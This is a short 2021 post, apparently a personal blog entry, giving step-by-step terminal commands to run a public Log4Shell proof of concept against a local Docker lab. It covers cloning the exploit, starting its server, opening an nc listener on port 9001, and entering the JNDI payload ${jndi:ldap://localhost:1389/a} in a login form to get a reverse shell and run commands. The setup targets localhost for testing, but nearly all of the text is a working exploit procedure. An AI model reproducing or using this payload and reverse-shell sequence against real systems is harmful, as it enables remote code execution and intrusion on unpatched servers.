18 december 2021

Log4j-shell test described at github[dot]com/kozmer/log4j-shell-poc

#Log4j-shell test described at https://github.com/kozmer/log4j-shell-poc

#Below a more detailed info how to install and test on a new installed ubuntu client.


In terminal 1:


cd Desktop/

sudo apt install git

git clone https://github.com/kozmer/log4j-shell-poc

cd log4j-shell-poc/

sudo apt install python3-pip

pip install -r requirements.txt


#Download java from https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html to log4j-shell-poc catalog. 

tar zxvf jdk-8u202-linux-x64.tar.gz

mv jdk1.8.0_202 jdk1.8.0_20      #renaming catalog to follow the hardcoded name

python3 poc.py --userip localhost --webport 8000 --lport 9001



In terminal 2:

cd Desktop/log4j-shell-poc/

sudo apt install docker.io

sudo docker build -t log4j-shell-poc .      #build using the Dockerfile in the log4j-shell-poc catalog

sudo docker run --network host log4j-shell-poc


In terminal 3:

nc -lvnp 9001    #listen for connections


#Start firefox and go to URL http://localhost:8080

#In the User field enter:   ${jndi:ldap://localhost:1389/a}    #the log4j logging system will interpret this code and run it.

#In the password field enter: <anything>


#In terminal 3 a connection is made to nc

#In teminal 3 enter som unix commands to verify the connection

ls

pwd

whoami


#i.e log4j-shell hack is working




Log4j overview related software